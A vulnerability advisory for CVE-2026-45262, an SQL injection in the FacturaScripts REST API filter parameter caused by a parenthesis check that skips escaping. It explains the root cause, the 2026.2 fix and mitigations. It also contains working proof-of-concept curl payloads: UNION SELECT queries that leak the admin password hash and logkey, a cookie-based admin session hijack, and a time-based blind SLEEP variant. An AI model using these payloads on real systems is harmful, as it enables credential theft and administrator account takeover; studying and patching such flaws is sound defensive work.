CVE-2026-45262: FacturaScripts REST API SQL Injection via Parenthesis Bypass in Where::sqlColumn
A scoped read-only API token for any single resource in FacturaScripts can inject arbitrary SQL through the filter parameter, leaking password hashes and session cookies from every table in the…
The problem
FacturaScripts versions up to and including 2026.1 pass raw HTTP filter keys from the REST API directly into the SQL WHERE clause without validating them as column identifiers.
The sink is Core/Where.php::sqlColumn(), which skips identifier escaping for any string that contains both ( and ). An attacker with a low-privilege API key scoped to a single resource (for example, clientes with allowget=1) can embed a full UNION SELECT inside the filter key and the framework concatenates it verbatim into the query.
The same flaw exists identically in both APIModel::getWhereValues and ApiAttachedFiles::getWhereValues, so both the generic /api/3/<resource> route and the /api/3/attachedfiles route are affected.
Successful exploitation leaks any column from any table (including users.password, users.logkey, api_keys.apikey). The leaked logkey value can be written directly into a cookie to hijack the admin web session, reaching plugin installation, user management, and cron execution with no further steps.
Proof of concept
A working proof-of-concept for CVE-2026-45262 in facturascripts/facturascripts, with the exact payload below.
# Step 1: leak admin bcrypt hash via UNION injection on the clientes endpoint
curl -s "http://TARGET/api/3/clientes?filter%5B%280%29UNION%20SELECT%20IFNULL%28password%2C2%29%2C2%2C3%2C4%2C5%2C6%2C7%2C8%2C9%2C10%2C11%2C12%2C13%2C14%2C15%2C16%2C17%2C18%2C19%2C20%2C21%2C22%2C23%2C24%2C25%2C26%2C27%2C28%2C29%2C30%2C31%2C32%20FROM%20users%20WHERE%28nick%3D%27admin%27%29--%20%5D=" \
-H "Token: low-scoped-token-clientes-only"
# Response: {"cifnif": "$2y$12$sLfA/...<bcrypt hash>"}
# Step 2: leak admin logkey (session cookie value)
curl -s "http://TARGET/api/3/clientes?filter%5B%280%29UNION%20SELECT%20IFNULL%28logkey%2C2%29%2C2%2C3%2C4%2C5%2C6%2C7%2C8%2C9%2C10%2C11%2C12%2C13%2C14%2C15%2C16%2C17%2C18%2C19%2C20%2C21%2C22%2C23%2C24%2C25%2C26%2C27%2C28%2C29%2C30%2C31%2C32%20FROM%20users%20WHERE%28nick%3D%27admin%27%29--%20%5D=" \
-H "Token: low-scoped-token-clientes-only"
# Response: {"cifnif": "<logkey value>"}
# Step 3: hijack the admin web session with the leaked logkey
curl -s \
--cookie "fsNick=admin; fsLogkey=<LEAKED_LOGKEY>" \
"http://TARGET/AdminPlugins"
# Returns HTTP 200 with admin plugin manager UI
# Time-based blind variant (works regardless of column count)
curl -s "http://TARGET/api/3/clientes?filter%5B%28SELECT%28SLEEP%282%29%29%29%5D=zz" \
-H "Token: low-scoped-token-clientes-only"
# Observe ~2 second delay; no FacturaScripts log entry is producedThe root cause is a string-presence check in Core/Where.php::sqlColumn() (lines 407-425). Any field name that contains both ( and ) is returned untouched and concatenated directly into the SQL WHERE clause. The original intent was to allow expression columns like LOWER(col), but the check has no structural constraint, so any arbitrary SQL expression passes through.
The API ingress (APIModel::getWhereValues, lines 231-298) reads each key from $_GET['filter'] and passes it straight to new DataBaseWhere($key, ...) without any allow-list check on the field name. The deprecated DataBaseWhere layer then delegates to Where::multiSqlLegacy, which calls Where::sql(), which calls sqlColumn(), completing the injection path.
Because the UNION result is serialised by the *clientes* model rather than the *users* model, the getApiFieldsToHide() deny-list on User (which hides password and logkey) never runs, so those columns appear unredacted in the JSON response under whatever alias the first UNION position maps to (for example, cifnif).
The fix (2026.2) validates every filter and sort field against the model's actual column list at the API ingress, and replaces the parenthesis presence test in sqlColumn() with a strict structural allow-list that only permits bare identifiers and known safe expressions (matching the pattern already used in DbQuery::orderBy since commit 1b6cdfa).
CWE-89 (SQL Injection).
The fix
Upgrade to FacturaScripts 2026.2 or later. That release validates API filter and sort field names against the model's declared columns, rejecting any key that is not a bare identifier. It also replaces the ( / ) presence check in Where::sqlColumn() with a strict structural parser.
Operators who cannot upgrade immediately should disable the REST API (Default -> Enable API in the admin UI) or restrict the /api/ path to trusted IP ranges at the reverse-proxy layer. After patching, rotate all users.password and users.logkey values for any installation that had the API enabled, since successful UNION queries leave no FacturaScripts log entries.
Related research
- critical · 9.9FacturaScripts Path Traversal to Remote Code Execution via UploadedFile::move()
- high · 7.5CVE-2026-45693CVE-2026-45693: FacturaScripts Unauthenticated Path Traversal in Static File Controllers
- high · 8CVE-2026-45263CVE-2026-45263: FacturaScripts CSV Formula Injection in CSVExport
- criticalCVE-2026-47677CVE-2026-47677: FacturaScripts 2FA Endpoint Authentication Bypass and Account Takeover